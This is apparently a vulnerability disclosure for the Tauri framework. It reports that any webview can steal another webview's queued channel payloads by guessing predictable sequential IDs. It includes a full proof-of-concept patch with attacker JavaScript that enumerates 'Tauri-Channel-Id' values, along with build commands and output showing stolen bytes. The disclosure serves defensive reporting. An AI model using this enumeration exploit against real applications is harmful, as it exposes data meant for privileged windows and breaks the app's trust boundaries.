Cross-webview IDOR: any webview can fetch queued channel/command payloads belonging to another webview via a predictable, globally-shared ID
Affected repository: tauri-apps/tauri
Observed HEAD: 2f11853d2108d2790917c68f10de7a4d01a6d70f
Sink: crates/tauri/src/ipc/channel.rs:329 in fetch
Observed verdict: reproduced dynamically against the latest default branch
Summary
An untrusted WebView can supply predictable Tauri-Channel-Id values to the built-in channel fetch IPC command and remove payloads queued for a different WebView. This exposes oversized command or channel data across capability boundaries and prevents the intended recipient from retrieving data consumed by the attacker.
Detail
The Tauri-Channel-Id header value comes straight from whatever webview issues the plugin:__TAURI_CHANNEL__|fetch IPC call, and cache is ChannelDataIpcQueue, a single app-wide HashMap<u32, InvokeResponseBody> registered once via app.manage() (crates/tauri/src/app.rs:2456) and shared by every window/webview. Entries are keyed by a process-global AtomicU32 counter (CHANNEL_DATA_COUNTER, starting at 0, incremented by 1 per queued payload) with no association to the webview/session that is supposed to receive it, so any other webview can simply enumerate small sequential integers to pull out (and, since remove() is used, permanently consume) another webview's queued oversized command response or Channel<T> payload.
A representative exploit scenario is an app with a privileged main webview plus a second, less-trusted webview (a common, documented Tauri v2 pattern: a webview showing embedded/remote content that is granted only a narrow remote capability, or any additional child webview). Any large (>8KB JSON / >1KB raw) command response or Channel<T> message destined for the main webview (e.g., HTTP response bodies streamed via the http plugin, file-read results, download progress, etc.) is queued in the shared ChannelDataIpcQueue before being retrieved with a small sequential id. The untrusted webview's JS runs for (let i=0;i<N;i++) invoke('plugin:__TAURI_CHANNEL__|fetch', null, {headers:{'Tauri-Channel-Id': i}}) and harvests payloads intended for the privileged webview, or races the legitimate consumer to steal/blackhole the data before it is delivered.
Preconditions
- App uses more than one webview/window of differing trust levels, or grants a remote origin a narrow capability (the officially documented 'remote capability' feature)
- A command response or Channel payload exceeds the direct-eval size threshold so it is routed through the fetch-queue path
Reproduce
This turns Tauri's upstream resources example into a two-window GUI app. The
victim alone receives the send_secret permission and sends oversized messages
through the public Channel API. The attacker has only the observation command,
but directly enumerates the built-in channel fetch IPC. Thus the producer,
capability resolution, WebViews, IPC transport, queue, and fetch are all the real
application path; record only prints the result and exits:
git clone --depth 1 https://github.com/tauri-apps/tauri.git tauri-repro
cd tauri-repro
sed 's/^#BLANK_CONTEXT#$/ /' <<'PATCH' | git apply
diff --git a/examples/resources/index.html b/examples/resources/index.html
index 3ba78dd..9ae9cbe 100644
--- a/examples/resources/index.html
+++ b/examples/resources/index.html
@@ -15,17 +15,29 @@
#BLANK_CONTEXT#
<script>
const { invoke } = window.__TAURI__.core
- const { resolveResource } = window.__TAURI__.path
-
- const pathEl = document.querySelector('#path')
- const contentEl = document.querySelector('#content')
+ const { Channel } = window.__TAURI__.core
#BLANK_CONTEXT#
window.addEventListener('DOMContentLoaded', async () => {
- const path = await resolveResource('assets/index.js')
- pathEl.textContent = path
-
- const content = await invoke('read_to_string', { path })
- contentEl.textContent = content
+ const label = window.__TAURI_INTERNALS__.metadata.currentWebview.label
+ if (label === 'victim') {
+ const channel = new Channel()
+ channel.onmessage = () => {}
+ await invoke('send_secret', { channel })
+ } else {
+ for (;;) {
+ for (let id = 0; id < 512; id++) {
+ try {
+ const stolen = await window.__TAURI_INTERNALS__.invoke(
+ 'plugin:__TAURI_CHANNEL__|fetch', null,
+ { headers: { 'Tauri-Channel-Id': String(id) } }
+ )
+ const bytes = Array.from(new Uint8Array(stolen))
+ await invoke('record', { value: `attacker_guessed_id=${id} stolen_len=${bytes.length} first=${JSON.stringify(bytes.slice(0, 4))}` })
+ return
+ } catch (_) {}
+ }
+ }
+ }
})
</script>
</body>
diff --git a/examples/resources/src-tauri/capabilities/app.json b/examples/resources/src-tauri/capabilities/app.json
index c50f095..f6abc6e 100644
--- a/examples/resources/src-tauri/capabilities/app.json
+++ b/examples/resources/src-tauri/capabilities/app.json
@@ -1,6 +1,6 @@
{
"$schema": "../gen/schemas/desktop-schema.json",
- "identifier": "app",
- "permissions": ["core:path:default"],
- "windows": ["main"]
+ "identifier": "victim",
+ "permissions": ["allow-send-secret", "allow-record"],
+ "windows": ["victim"]
}
diff --git a/examples/resources/src-tauri/capabilities/attacker.json b/examples/resources/src-tauri/capabilities/attacker.json
new file mode 100644
index 0000000..49d2117
--- /dev/null
+++ b/examples/resources/src-tauri/capabilities/attacker.json
@@ -0,0 +1,6 @@
+{
+ "$schema": "../gen/schemas/desktop-schema.json",
+ "identifier": "attacker",
+ "permissions": ["allow-record"],
+ "windows": ["attacker"]
+}
diff --git a/examples/resources/src-tauri/permissions/channel.toml b/examples/resources/src-tauri/permissions/channel.toml
new file mode 100644
index 0000000..51fe299
--- /dev/null
+++ b/examples/resources/src-tauri/permissions/channel.toml
@@ -0,0 +1,9 @@
+[[permission]]
+identifier = "allow-send-secret"
+description = "Allows the privileged webview to request channel data."
+commands.allow = ["send_secret"]
+
+[[permission]]
+identifier = "allow-record"
+description = "Allows the PoC to print its observed result."
+commands.allow = ["record"]
diff --git a/examples/resources/src-tauri/src/main.rs b/examples/resources/src-tauri/src/main.rs
index 3c3ddae..da54391 100644
--- a/examples/resources/src-tauri/src/main.rs
+++ b/examples/resources/src-tauri/src/main.rs
@@ -11,6 +11,21 @@ fn read_to_string(path: &str) -> String {
std::fs::read_to_string(path).unwrap_or_default()
}
#BLANK_CONTEXT#
+#[tauri::command]
+fn record(app: tauri::AppHandle, value: String) {
+ println!("{value}");
+ app.exit(0);
+}
+
+#[tauri::command]
+fn send_secret(channel: tauri::ipc::Channel<Vec<u8>>) {
+ std::thread::spawn(move || {
+ for _ in 0..256 {
+ channel.send(vec![83; 4096]).unwrap();
+ }
+ });
+}
+
fn main() {
tauri::Builder::default()
.setup(move |app| {
@@ -26,7 +41,7 @@ fn main() {
#BLANK_CONTEXT#
Ok(())
})
- .invoke_handler(tauri::generate_handler![read_to_string])
+ .invoke_handler(tauri::generate_handler![read_to_string, record, send_secret])
.run(tauri::generate_context!())
.expect("error while running tauri application");
}
diff --git a/examples/resources/src-tauri/tauri.conf.json b/examples/resources/src-tauri/tauri.conf.json
index 89658d4..cbe9ac0 100644
--- a/examples/resources/src-tauri/tauri.conf.json
+++ b/examples/resources/src-tauri/tauri.conf.json
@@ -11,11 +11,18 @@
#BLANK_CONTEXT#
"windows": [
{
+ "label": "victim",
"title": "Welcome to Tauri!",
"width": 800,
"height": 600,
"resizable": true,
"fullscreen": false
+ },
+ {
+ "label": "attacker",
+ "title": "Untrusted Webview",
+ "width": 400,
+ "height": 300
}
],
"security": {
PATCH
docker run --rm \
-e PATH=/usr/local/cargo/bin:/usr/local/rustup/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin \
-v "$PWD:/src" -w /src rust:1-bookworm bash -c '
set -euo pipefail
apt-get update && apt-get install -y libgtk-3-dev libwebkit2gtk-4.1-dev \
libappindicator3-dev librsvg2-dev patchelf xvfb xauth &&
git -c safe.directory=/src rev-parse HEAD &&
timeout 180s xvfb-run -a cargo run -q -p resources
'
Observed at 2f11853d2108d2790917c68f10de7a4d01a6d70f:
2f11853d2108d2790917c68f10de7a4d01a6d70f
attacker_guessed_id=13 stolen_len=4096 first=[83,83,83,83]
Credit
Zheng Yu @ Depthfirst